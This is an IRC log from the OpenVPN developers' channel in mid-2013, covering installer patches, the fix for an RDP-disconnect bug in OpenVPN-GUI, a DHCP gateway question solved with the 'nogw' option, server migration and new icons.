#openvpn-devel 13:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:11 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 16:11 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 16:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:37 -!- chiiph_ [~chiiph@unaffiliated/chiiph] has quit [Read error: Connection reset by peer] 20:37 -!- chiiph [~chiiph@unaffiliated/chiiph] has joined #openvpn-devel --- Day changed Tue Jul 30 2013 02:32 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has quit [Ping timeout: 245 seconds] 02:38 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 04:55 -!- mattock_afk is now known as mattock 07:39 <@ecrist> plaisthos: I do not believe there is an MSI installer 10:17 <@mattock> hmm, I see someone writing puppet code here 10:17 <@mattock> interesting 10:17 <@mattock> who is this poor bastard who is attempting to manage windows installations using puppet? 13:33 -!- dazo is now known as dazo_afk 14:31 <@plaisthos> mattock: me :D 14:31 <@mattock> yeah 14:31 <@mattock> having puppet problems? 14:31 <@plaisthos> I jsut wanted puppet to bail out if openvpn is not installed 14:31 <@mattock> speaking of puppet... check out my modules: https://github.com/Puppet-Finland 14:31 < vpnHelper> Title: Puppet-Finland · GitHub (at github.com) 14:31 <@mattock> very high quality compared to the other stuff out there 14:32 <@plaisthos> hehe 14:32 <@plaisthos> like my stuff :D 14:32 <@mattock> do you have your stuff somewhere public? 14:33 <@mattock> I've aimed at making all the modules reusable and general-purpose, so that (other) people can actually use (most of) them in their own environments 14:42 -!- Irssi: #openvpn-devel: Total of 20 nicks [9 ops, 0 halfops, 1 voices, 10 normal] 14:42 <@ecrist> raidz: I'm told you're working on acquiring an AWS instance for forums? 14:43 <@raidz> ecrist: yessir 14:43 <@raidz> putting freebsd 9.1 64bit on there 14:43 <@raidz> that okay? 14:43 <@ecrist> yes 14:43 <@ecrist> what sort of console access do you have? 14:44 <@raidz> ipv4 and ipv6 will have different ips though 14:44 <@raidz> we don't really have console access 14:44 <@raidz> because aws is lame 14:44 <@raidz> has mattock talked to you about the migration at all? 14:44 <@ecrist> ipv4 and ipv6 are different protocols, of course the IPs would be different... 14:44 <@mattock> I did mention that briefly 14:45 <@raidz> no no, I mean different that the addresses currently being used :-p 14:45 <@ecrist> we discussed it briefly, more info was supposed to be coming 14:45 <@mattock> the migration 14:45 <@ecrist> I had suggested we could host the forums on one of the rootbsd machines that were donated to me for openvpn 14:45 <@ecrist> (they have working v4/v6) 14:49 <@raidz> ecrist, if possible we rather goto aws if you are okay with that, what are the specs for the server they gave you at rootbsd? 14:52 <@ecrist> it's a VPS: CPU: Intel(R) Xeon(R) CPU E5620 @ 2.40GHz, 512M ram, 10G hdd 14:52 <@ecrist> two cores 14:53 <@ecrist> I've never used AWS 14:53 <@mattock> no wonder, given the relative lack of OS support besides Linux and Windows 14:53 <@mattock> although FreeBSD starts to be fairly well supported 14:54 <@mattock> http://www.daemonology.net/freebsd-on-ec2/ 14:54 < vpnHelper> Title: FreeBSD on EC2 status (at www.daemonology.net) 14:55 <@ecrist> that guy that's doing all the work is Colin Percival 14:55 <@ecrist> he also wrote tarsnap (AWS-based) 14:55 <@ecrist> Had beers with him in Canukistan in the past 14:57 * ecrist poofs 15:55 <@mattock> beer... 16:20 <@cron2_> sleep! 16:32 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 245 seconds] 16:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 16:55 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 18:14 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has left #openvpn-devel ["Leaving"] 20:11 -!- raidz is now known as raidz_away --- Day changed Wed Jul 31 2013 00:24 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 00:24 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:45 <@plaisthos> I should write a custom header patch for OpenVPN 03:46 <@plaisthos> in the long run that will probably save time in contrast to explaining over and over why my client does not support it opposite to the "Desktop client" 03:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 04:02 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:02 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:33 <@cron2_> custom header? 05:46 <@d12fk> cron2_: i think this is about http proxy headers 05:46 <@cron2_> ah 05:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 05:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:03 <@plaisthos> d12fk: right 06:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 07:41 -!- dazo_afk is now known as dazo 09:54 -!- krzee [~k@openvpn/community/support/krzee] has quit [Max SendQ exceeded] 09:55 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 09:55 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:18 -!- raidz_away is now known as raidz 13:29 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Quit: No Ping reply in 180 seconds.] 13:30 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn-devel 14:19 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 14:19 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 14:19 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 18:39 -!- dazo is now known as dazo_afk 19:01 -!- raidz is now known as raidz_away 19:04 -!- raidz_away is now known as raidz 19:09 < vpnHelper> RSS Update - testtrac: Added "setenv opt" directive prefix. If present, and if the <https://github.com/OpenVPN/openvpn/commit/2a92fba756d4c1e73300a12ff9e80028a6ab7c09> || TLS version negotiation <https://github.com/OpenVPN/openvpn/commit/4b67f9849ab3efe89268e01afddc7795f38d0f64> || autoconf: Fix typo <https://github.com/OpenVPN/openvpn/commit/8065cd1c65273ef05ba2ac66f15224e170a57290> || plugin: Extend the plug-in v3 API to identif 19:43 -!- raidz is now known as raidz_away 22:31 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 256 seconds] 22:33 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 22:33 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Thu Aug 01 2013 01:53 <@cron2_> vpnHelper has been drinking again 01:53 <@cron2_> these commits are all old 03:26 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:26 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:26 <@mattock> updated patch tracking page: https://community.openvpn.net/openvpn/wiki/Patches 03:26 < vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 03:26 <@mattock> how about reviewing some patches today? 03:27 <@mattock> this one is apparently waiting for merge: http://news.gmane.org/find-root.php?message_id=%3Calpine.DEB.2.02.1306201400320.10116@jazz.he.fi%3E 03:27 < vpnHelper> Title: Gmane Loom (at news.gmane.org) 04:51 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection] 05:23 <@plaisthos> I won't be there today 05:23 <@plaisthos> but I think the patch you are talking about is already acked 05:23 <@plaisthos> according to https://community.openvpn.net/openvpn/wiki/Patches 05:23 < vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 06:11 <@mattock> yep, that's what I meant, ACKed but not merged yet 06:28 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 07:06 < vpnHelper> RSS Update - tickets: #314: Proxy configuration on OpenVPN Connect (iOS) is wrong <https://community.openvpn.net/openvpn/ticket/314> 09:09 -!- Irssi: #openvpn-devel: Total of 19 nicks [9 ops, 0 halfops, 1 voices, 9 normal] 09:13 <@cron2_> mattock: I'm kind of busy, but if it's ACKed already, I'll see that I can merge it ASAP 09:13 <@mattock> cron2: ok, that'd be good 09:13 <@cron2_> meeting tonight is not ideal 09:14 * cron2_ takes the opportunity to deliver a set of daily pokes to dazo "overdue since a week or so" 09:15 <@mattock> next week? 09:16 <@cron2_> fine with me ("I'm at home, family is at grandparents'") 19:53 -!- raidz is now known as raidz_away --- Day changed Fri Aug 02 2013 01:42 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 240 seconds] 03:33 <@d12fk> mattock: are the installer patches for the gui still good or have you done updates? 03:33 <@mattock> d12fk: I haven't made any modifications lately 03:33 <@mattock> I think they're good 03:34 <@d12fk> oki there's afair chance i get to committing these today 03:34 <@mattock> can you forward me my latest mail? 03:34 <@mattock> I can check if the changes are still valid 03:37 <@d12fk> oh mail from march, ouch 03:38 <@d12fk> sent 03:38 <@mattock> thanks! 03:39 <@mattock> I haven't done anything after that point 03:39 <@mattock> so the stuff is valid 03:40 <@mattock> the "make nsis" target would need some love, though 03:40 <@mattock> it's probably fairly crappy 03:41 <@d12fk> good enough for me =) 03:48 <@plaisthos> mattock: I used Show source and then copy&paste cat | parseopvpn.py instead of the fancy plugin :D 03:49 <@mattock> plaisthos: ok, I'll have to try that :) 03:49 <@mattock> that's simpler 03:49 <@mattock> I'll update the docs (-> TODO) 04:02 <@mattock> uh, there was a nasty bug in the bacula::filedaemon module 04:02 <@mattock> fixed that 04:02 <@mattock> oops, wrong window, lol :) 07:53 <@d12fk> mattock: the 0001 patch changes openvpn-gui.nsi, but there's not such file in my repo 07:53 <@mattock> hmm, just a sec 07:55 <@mattock> I'll send it to you 07:55 <@d12fk> ok 07:56 <@mattock> on it's way 08:07 <@d12fk> mattock: shouldn't the gui go into the same start menu folder than ovpn itself? 08:07 <@mattock> well, that's an option, but I wanted isolate the two for clarity 08:07 <@mattock> in case someone wants to have multiple GUIs installed or something 08:08 <@mattock> can't recall my exact reasoning any more :) 08:08 <@d12fk> ok 08:08 <@mattock> oh, the idea was that some form of documentation links would be added under OpenVPN-GUI 08:08 <@d12fk> valid point, just not very usability friedly 08:08 <@mattock> so a separate start menu "directory" would make it cleaner 08:08 <@ecrist> mattock: FYI, I'm on vacation for a week+ starting this evening. I'll be back late on Aug 11. Don't do anything to the forum server until I get back, please. 08:08 <@mattock> ecrist: like break it? 08:08 <@mattock> :P 08:09 <@ecrist> right. 08:09 <@mattock> I will probably start building the new one meanwhile, but we won't be making any switches before you're available again 08:09 <@mattock> d12fk: if you want to put the start menu entries under OpenVPN, that's fine by me 08:11 <@mattock> ecrist: is there something special on community.openvpn.net that you need to have configured on it's replacement? 08:12 <@mattock> we probably make that switch next week 08:12 <@mattock> both servers have public IPv6 addresses now, afaict 08:12 <@ecrist> yes 08:13 * ecrist moves to PM 08:14 <@d12fk> mattock: so, should the openvpn sm entry be a parameter as well then? 08:15 <@d12fk> or is it OpenVPN and will stay that way 08:16 <@mattock> umm 08:18 <@mattock> d12fk: you mean that one could select at install time whether to create "OpenVPN-GUI" start menu entry? 08:19 <@d12fk> rather what the entry for openvpn itself is 08:19 <@d12fk> since th gui relies on it to be installed there must be one 08:20 <@mattock> I believe openvpn-gui.nsi goes to some length to autodetect that stuff, but I'll have to check 08:20 <@mattock> ah yes, of course it doesn't 08:20 <@mattock> you're probably right 08:21 <@mattock> if gui does not put itself to OpenVPN-GUI start menu entry, it needs to detect OpenVPN's start menu location 08:21 <@mattock> if that's configurable in OpenVPN itself... not sure 08:21 <@mattock> if not, then $SMPROGRAMS/OpenVPN should work 08:23 <@d12fk> start menu names tend to be hardcoded, but that depends on how creative you were =) 08:28 <@mattock> I haven't touched openvpn.nsi that much 08:28 <@mattock> I think the start menu entry is always "OpenVPN" 08:29 <@d12fk> but then ppl. use it the way it is currently, so maybe there's no need until anyone complains 08:29 <@d12fk> ... besides me =) 08:35 <@mattock> so far no lynch mobs 08:46 * plaisthos goes to the lynch mob supplier 08:49 <@plaisthos> (http://www.youtube.com/watch?v=n6JrjquB6XQ unfortunatly only in german) 08:49 < vpnHelper> Title: Autonomer Supermarkt von Johannes Schlüter - YouTube (at www.youtube.com) 08:52 <@d12fk> bier ab 18? 08:58 <@plaisthos> yeah He should asked him if he's 16 09:18 <@d12fk> mattock: i'll add some autoconf way to specify where makensis is 09:19 <@mattock> d12fk: ok, thanks! 09:19 <@mattock> autoconf is a bit too much for me, given that I very rarely need it 09:20 <@d12fk> mattock: do you build the gui with gcc? 09:21 <@mattock> yep, cross-compile with openvpn-build 09:22 <@d12fk> hm ARCH seems not to be defined 09:23 <@d12fk> is that coming from th ebuild system? 09:29 <@ecrist> mattock - where did the 2.3.2 download go on the site? 09:29 <@ecrist> http://openvpn.net/index.php/open-source/downloads.html 09:29 < vpnHelper> Title: Downloads (at openvpn.net) 09:30 <@mattock> d12fk: yep 09:30 <@mattock> ecrist: I still get that page, and can download from it 09:30 <@ecrist> that page works 09:30 <@ecrist> 2.3.2 isn't on it 09:30 <@ecrist> 2.3.1 is, though 09:30 <@mattock> which file exactly? 09:31 <@ecrist> all of them 09:31 <@mattock> hmm, I wonder if this is some cloudflare issue again 09:31 <@mattock> I can access and download all the files just fine 09:33 <@plaisthos> 2.3.1 for me only too 09:33 <@mattock> hmm, interesting 09:33 <@ecrist> secure-computing.net/files/no232.png 09:34 <@plaisthos> ecrist: that's is what I am getting too 09:34 <@ecrist> :) 09:34 <@mattock> hmm, the server _was_ upgraded yesterday 09:34 <@ecrist> from old data? 09:34 <@mattock> I'll flush my browser cache and see what happens 09:34 <@mattock> I doubt it, but it's of course possible 09:34 <@mattock> not _that_ old at least 09:35 <@mattock> oh yes, I had 2.3.2 in my local cache 09:35 <@mattock> I'm missing 2.3.1 too 09:36 <@mattock> I'll let the guys clean up after their mess, have to leave in now minus 30 mins 09:36 <@mattock> they'll be coming to work in about 60-90 mins 09:39 <@mattock> actually, I'll check if I could quickly fix it 09:42 <@mattock> fixed 09:49 <@mattock> I hope no other changes I've made are missing 09:52 <@mattock> uh, people notify us pretty fast when there this kind of issues 09:52 <@mattock> which is good 09:56 <+krzee> [07:46] <dupondje> ecrist: the second I close the Remote Desktop connection, the VPN connection is also killed 09:56 <+krzee> [07:48] <dupondje> openvpn.exe stops (exitcode 0) 09:56 <+krzee> [07:49] <dupondje> and openvpn-gui.exe hangs (no reconnect) 09:56 <+krzee> [07:50] <krzee> run it as a service if you want it to be a service 09:56 <+krzee> [07:50] <krzee> if you run it as a user, then kill the users' session, it will die 09:56 <+krzee> [07:51] <krzee> (not openvpn's fault) 09:56 <+krzee> [07:51] <dupondje> krzee: the session is never killed, i 'disconnect' the session, no logoff 09:56 <+krzee> [07:52] <krzee> *shrug* same solution 09:56 <+krzee> [07:53] <krzee> just start it as a service, easy 09:56 <+krzee> [07:54] <dupondje> still it shouldn't die if the session disconnects . 09:56 <+krzee> [07:55] <dupondje> Look, I reinstalled 2.3.1, and there it does NOT happen 09:56 <+krzee> [07:55] <dupondje> so seems like a change in 2.3.2 broke it 11:22 -!- raidz_away is now known as raidz 14:37 -!- raidz is now known as raidz_away 14:42 -!- raidz_away is now known as raidz 15:28 -!- MeanderingCode [~Meanderin@192.241.150.232] has joined #openvpn-devel 15:30 -!- MeanderingCode [~Meanderin@192.241.150.232] has quit [Client Quit] 15:32 -!- MeanderingCode [~Meanderin@192.241.150.232] has joined #openvpn-devel 17:46 -!- mattock is now known as mattock_afk 20:46 -!- raidz is now known as raidz_away 22:37 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 22:39 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 22:39 -!- mode/#openvpn-devel [+o raidz] by ChanServ 23:43 -!- chiiph_ [~chiiph@unaffiliated/chiiph] has joined #openvpn-devel 23:44 -!- chiiph [~chiiph@unaffiliated/chiiph] has quit [Remote host closed the connection] --- Day changed Sat Aug 03 2013 00:11 -!- riddle [riddle@us.yunix.net] has quit [Read error: Connection reset by peer] 02:45 -!- mattock_afk is now known as mattock 04:24 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 06:27 < vpnHelper> RSS Update - tickets: #315: OpenVPN gets killed after Remote Desktop session disconnect <https://community.openvpn.net/openvpn/ticket/315> 08:55 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 240 seconds] 08:57 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 10:53 <@pekster> " Warning: Error writing to trac.ini, make sure it is writable by the web server. Your changes have not been saved." 10:54 <@pekster> community bug tracker error, when attempting to change the default version on new bugs 10:54 <@pekster> It took the 2.3.2 version I added though, which was the more important part 10:57 <@pekster> Blah, bug #315 is, at least according to the contributor, caused by my fix-windows-batch-ovpn-hook patch. How that relates to disconnecting an RDP session is anyone's guess, but I'll poke at both the user's config and see if I can reproduce that reliably in my Vista box (probably close enough to win7 for this) 10:57 * pekster fumes at win32 APIs 13:22 <@pekster> Looks like it only happens when running through the OpenVPN-GUI -- I can reproduce it (on Vista x64) but not when running through a command prompt 13:24 <@pekster> d12fk: Thoughts on that as it applies to #315 welcome. I'll have a go at a custom build on my own with extra logging every time openvpn_execve() gets called, but I'm at something of a loss for how my patch causes this corner-case 13:31 <@pekster> (maybe you know something extra the GUI is doing that would cause another call to that function that doesn't happwhen run run out the CLI or such) 15:49 <@pekster> d12fk: well, turns out the bugreport was a bit faulty; the issue lies strictly in the GUI, not that committish. Something generates an internal SIGTERM singal on RDP disconnect in the GUI program in 2.3.2 that didn't in 2.3.1 --- Day changed Sun Aug 04 2013 11:56 -!- tripolar [~u@unaffiliated/tripolar] has joined #openvpn-devel 11:56 < tripolar> hi 11:57 < tripolar> the newest openvpn version 2.3.2 strips the defautl gw from hdcp packets and there is no way to disable this 11:57 < tripolar> i sent this patch to the ml 11:57 < tripolar> https://community.openvpn.net/openvpn/ticket/312 11:57 < vpnHelper> Title: #312 (default gw gets stripped from dhcp packets that go over a openvpn bridge) – OpenVPN Community (at community.openvpn.net) 11:57 < tripolar> could someone please comment it and gice hints how it has to be changed/extented to get it into mainline --- Day changed Mon Aug 05 2013 02:00 <@d12fk> pekster: I don't get why the patch should restart openvpn. how did you test the RDP connection? is remote desktop to a workstation sufficient to reproduce the issue? 02:45 <@d12fk> ok can reproduce the issue 02:48 * cron2_ smells an upcoming 2.3.3 release :) 03:42 <@mattock> we love new releases 03:42 <@mattock> but we make them too rarely :P 03:42 <@cron2_> everybody is always so busy... 03:42 <@d12fk> kya, fixed it 03:42 <@d12fk> ready to go 03:45 <@d12fk> was missing a break in the event handler switch, which triggered the code for suspending ovpn. 03:57 <@mattock> cron2, d12fk: if this bug was related to OpenVPN-GUI, we can just push out a new Windows installer 03:57 <@mattock> plaisthos: updated parseOvpn.py documentation 03:58 <@d12fk> mattock: let's do this then 03:59 <@d12fk> but we could wait another day until the nsis stuff is pushed as well 04:00 <@mattock> hmm, I did test the NSI stuff, but can't guarantee 100% that it won't break stuff 04:01 <@plaisthos> mattock: thanks 04:01 <@d12fk> ah so there's no separate installer yet 04:01 <@plaisthos> mattock: was on my todo list when I use the script the next time ;) 04:01 <@mattock> d12fk: we could provide separate openvpn-gui installers for testing 04:02 <@plaisthos> you know you can replace the old scripts? :) 04:02 <@mattock> and include openvpn-gui in the "old way" in 2.3.3 04:02 <@mattock> plaisthos: yes, I do :) 04:02 <@mattock> I just didn't 04:02 <@mattock> plaisthos: we can delete the old scripts fron the Patches page 04:03 <@d12fk> mattock: could you close #315 then 04:03 <@mattock> d12fk: ok 04:04 <@mattock> d12fk: thanks for setting a deadline for me: "Samuli will update the installer by the end of the week." :D 04:04 <@d12fk> mattock: fins don't function without some pressure =P 04:04 <@mattock> actually most do 04:05 <@d12fk> so what about nsis? should i wait with the version bump or will you not use it anyways 04:05 <@mattock> well, I think you can add the NSIS stuff 04:06 <@mattock> I have a patched version of openvpn-build available, which will add the openvpn-gui installer to openvpn installer 04:06 <@d12fk> ok, should be done during the day, will get back to you then 04:06 <@mattock> but I will generate new 2.3.2 openvpn installers without the openvpn-gui NSI stuff 04:06 <@mattock> it needs more testing, and probably more changes to openvpn-build 04:07 <@d12fk> ah ok, then I'll tag the repo right now 04:20 <@d12fk> mattock: tarball at http://sourceforge.net/projects/openvpn-gui/files/openvpn-gui-5.tar.gz/download 04:20 < vpnHelper> Title: Download OpenVPN GUI from SourceForge.net (at sourceforge.net) 04:21 <@mattock> d12fk: thanks! 05:49 < tripolar> hi 05:49 < tripolar> the newest openvpn version 2.3.2 strips the defautl gw from hdcp packets and there is no way to disable this 05:49 < tripolar> i sent this patch to the ml 05:49 < tripolar> i sent this patch to the ml 05:50 < tripolar> https://community.openvpn.net/openvpn/ticket/312 05:50 < vpnHelper> Title: #312 (default gw gets stripped from dhcp packets that go over a openvpn bridge) – OpenVPN Community (at community.openvpn.net) 05:50 < tripolar> or is there i way to disable this "feature" when an option allready? 05:50 < tripolar> when/with 06:29 <@cron2_> tripolar: if you have already looked at the code, you should be better qualified than us to answer whether there is an option :-) 06:36 < tripolar> cron2_: i couldn'z find one therefore i'm asking 06:36 < tripolar> could you please look at the patch and gice some comments? 06:37 <@cron2_> tripolar: then it's quite likely that there is no such option :-) - I'll look as soon as possible, but that might mean "Thursday" 06:37 < tripolar> no problem 06:37 < tripolar> thanks 08:01 <@d12fk> mattock: how are you feeling about renaming the Makefile target to "installer", so `make installer` would do the trick 08:02 <@d12fk> background: i have a subfolder nsis where alss the nsis stuff goes, and the installer traget is conditional, so if the nsis target is not there make check if there's anything to do for the directory nsis/ 09:27 <@d12fk> mattock: gui nsis support is integrated now, just pushed it to the repo 10:01 < reiffert> will there be gre transport for openvpn at some point? 10:16 <@plaisthos> reiffert: like what? openvpn over gre? 10:16 <@plaisthos> gre inside openvpn? 10:19 < reiffert> OvG 10:19 < reiffert> just to get rid of that udp/tcp topic. 10:21 <@plaisthos> reiffert: but that would very similar to openvpn over UDP 10:21 <@plaisthos> only replacing the UDP layer with GRE layer 10:22 <@plaisthos> and most OS would not know what to do with a GRE packet with unknown/strange payload 10:22 <@plaisthos> most OS handle GRE inside the kernel 10:24 <@plaisthos> unless you put IP in the GRE again but than you have OpenVPN over an IP Tunnel 10:26 <@plaisthos> I fail to see an advantage over what we currently have 10:32 <@mattock> d12fk: great! 10:32 <@mattock> d12fk: re: "make installer" is fine by me 13:21 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 13:26 <@cron2_> kernel mode openvpn! 13:33 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:35 <@pekster> That way, bugs in openvpn don't just segfault, they OOPS too ;) 13:36 <@cron2_> any bugs we have warrant a big oops! 14:34 -!- mattock is now known as mattock_afk 19:51 -!- raidz is now known as raidz_away --- Day changed Tue Aug 06 2013 02:56 < vpnHelper> RSS Update - testtrac: Added "setenv opt" directive prefix. If present, and if the <https://github.com/OpenVPN/openvpn/commit/2a92fba756d4c1e73300a12ff9e80028a6ab7c09> || TLS version negotiation <https://github.com/OpenVPN/openvpn/commit/4b67f9849ab3efe89268e01afddc7795f38d0f64> || autoconf: Fix typo <https://github.com/OpenVPN/openvpn/commit/8065cd1c65273ef05ba2ac66f15224e170a57290> || plugin: Extend the plug-in v3 API to identif 03:04 <@cron2_> vpnhelper is... strange. These are all old commits 06:27 < tripolar> cron2_: hi, did you look at my patch by now? 07:16 <@plaisthos> tripolar: did you have a look a route-gateway dhcp? 07:18 <@plaisthos> I gave a brief look at your patch but all it does it to add more #ifdef 07:18 <@plaisthos> something we would like to avoid 07:23 < tripolar> plaisthos: i think this route-gateway dhcp is sent by default and therefore the path in the source code with dhcp is executed - mean the dhcp default gw is removed from the dhcp packet 07:23 < tripolar> plaisthos: but there are also other ifdef in the code 07:24 <@plaisthos> tripolar: I meant the config options 07:24 < tripolar> plaisthos: at compile time? 07:25 <@plaisthos> tripolar: right, we try to decrease the number of #ifdefs because it has become unmaintainable 07:25 <@plaisthos> tripolar: --route-gateway dhcp 07:25 <@plaisthos> this dhcp handling is probably a more obscure feature 07:25 <@plaisthos> and iirc only supported on windows 07:26 < tripolar> i dont even get why dhcp packets are modified i mean a vpn client should never be a 07:26 < tripolar> firewall 07:26 < tripolar> plaisthos: --route-gateway on th client or on the server? 07:27 < tripolar> plaisthos: i allready tried this i just looked at my old config 07:28 < tripolar> it doesn't work, the dhcp packet is still modified 07:31 < tripolar> plaisthos: even when i look at the code - at src/openvpn/options.c it sets options->route_gateway_via_dhcp = true; 07:31 <@plaisthos> tripolar: I read the code right the dhcp should be modified if the option --route-gateway dhcp is set 07:31 < tripolar> and this will modify the packet again 07:32 < tripolar> plaisthos: and i can't set a default gw static is it changes sometimes 07:32 < tripolar> it should be possible to deativate it 07:32 < tripolar> @plaisthos 07:33 <@plaisthos> tripolar: If I read teh source correct unless you have "--route-gateway dhcp" in your configuration openvpn should not touch the packet 07:33 < tripolar> but this route-gateway is sent from my server alltough i didn't set the option 07:34 < tripolar> @plaisthos: 07:34 <@plaisthos> tripolar: your server has a "push route-gateway dhcp"? 07:35 < tripolar> plaisthos: as it seems it is pushed but set no push line in my config 07:35 <@plaisthos> anyway I think your patch is incorrect 07:35 <@plaisthos> It make --route-gateway dhcp a noop 07:35 <@plaisthos> when you can just not include the option in the configuration 07:36 < tripolar> plaisthos: but i didn't set this option in my config 07:36 <@plaisthos> tripolar: of your client? 07:36 < tripolar> no 07:37 < tripolar> it is set nowhere 07:38 <@plaisthos> !log 07:38 < vpnHelper> Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified. 07:38 <@plaisthos> tripolar: I am confused then why are you disabling an optin that is not set? 07:39 <@plaisthos> a verbose log should show you if the option is set or not 07:40 <@plaisthos> tripolar: you are probably using the --server macro with tap, right? 07:41 <@plaisthos> err --server-bridge, right? 07:41 < tripolar> plaisthos: no i didn'T set it 07:41 < tripolar> server-bridge 07:41 <@plaisthos> tripolar: --server-brige? 07:41 < tripolar> yes 07:41 <@plaisthos> tripolar: have read the man page about --server-bridge? 07:43 < tripolar> plaisthos: it pushed automatically push my topology? 07:44 < tripolar> plaisthos: it automatically pushes my topology? 07:44 < tripolar> plaisthos: nogw should fix it. am i right? 07:45 <@plaisthos> tripolar: right 07:45 < tripolar> i will try it thanks for you help 07:46 <@plaisthos> tripolar: can you close the ticket? 07:46 < tripolar> yes 07:46 < tripolar> thanks 08:36 -!- mattock_afk is now known as mattock 08:46 <@d12fk> just finished the new icons for the gui, it's gonna be great 08:47 <@d12fk> mattock: do you have a openvpn .ico fo rme 08:48 <@d12fk> oh wait i have the vector logo from you somewhere, never mind 08:54 <@plaisthos> hm 08:54 <@plaisthos> I cannot close tickets 08:54 <@d12fk> only the elders can, our mortal power are insufficient for such a task 08:59 <@plaisthos> cron2_, dazo_afk: your wisdom and powers as elders are required 09:02 < tripolar> plaisthos: i also can't close it 09:03 <@plaisthos> tripolar: right .... :) 09:03 < tripolar> plaisthos: the nogw works like a charm :) 09:03 < tripolar> thanks 09:23 <@mattock> d12fk: you want the "O"-style OpenVPN logo? 09:23 <@mattock> ah, you found a vector log 09:24 <@mattock> plaisthos: which which ticket should be closed? 09:37 <@plaisthos> mattock: https://community.openvpn.net/openvpn/ticket/312 09:37 < vpnHelper> Title: #312 (default gw gets stripped from dhcp packets that go over a openvpn bridge) – OpenVPN Community (at community.openvpn.net) 10:16 -!- raidz_away is now known as raidz 10:35 <@d12fk> take a look at the new icons and let me know what you think 10:37 <@d12fk> http://sourceforge.net/projects/openvpn-gui/files/Precompiled%20Binaries/version%205%20%2B%20new%20icons/openvpn-gui.exe/download 10:37 < vpnHelper> Title: Download OpenVPN GUI from SourceForge.net (at sourceforge.net) 10:46 <@mattock> d12fk: ok, will do 10:47 <@mattock> plaisthos: closed #312 11:19 <@cron2_> plaisthos: what powers are needed? 11:20 <@cron2_> or was that about #312 and mattock has already demonstrated power and fastness? :-) 11:20 <@mattock> plaisthos: you can sure have more power over Trac, if you want 11:39 <@mattock> same with d12fk 14:43 -!- tripolar [~u@unaffiliated/tripolar] has quit [Quit: leaving] 16:08 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:08 -!- mode/#openvpn-devel [+o dazo] by ChanServ 16:09 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 19:59 -!- raidz is now known as raidz_away 22:27 <@pekster> !learn man2html as https://gist.github.com/QueuingKoala/5985986 22:27 < vpnHelper> Joo got it. --- Day changed Wed Aug 07 2013 00:35 <@d12fk> mattock: checked try icons as well? 00:35 <@d12fk> tray 00:42 <@d12fk> i'm a little unsatisfied with the program icon, thinking there should be something gui specific in it, but am too uncreative to actually come up with something decent (looking) 00:42 <@d12fk> any takers? 01:01 < vpnHelper> RSS Update - testtrac: Added "setenv opt" directive prefix. If present, and if the <https://github.com/OpenVPN/openvpn/commit/2a92fba756d4c1e73300a12ff9e80028a6ab7c09> || TLS version negotiation <https://github.com/OpenVPN/openvpn/commit/4b67f9849ab3efe89268e01afddc7795f38d0f64> || autoconf: Fix typo <https://github.com/OpenVPN/openvpn/commit/8065cd1c65273ef05ba2ac66f15224e170a57290> || plugin: Extend the plug-in v3 API to identif 02:26 <@mattock> d12fk: I'll check the GUI icons later today 02:36 <@mattock> d12fk: you might want to ask if somebody on openvpn-devel would like to create an icon 02:38 <@d12fk> you mean the mailing list, right 02:38 <@d12fk> i hope for the original submitter of the tray icons to become active =) 02:45 <@mattock> yes, the mailing list :) 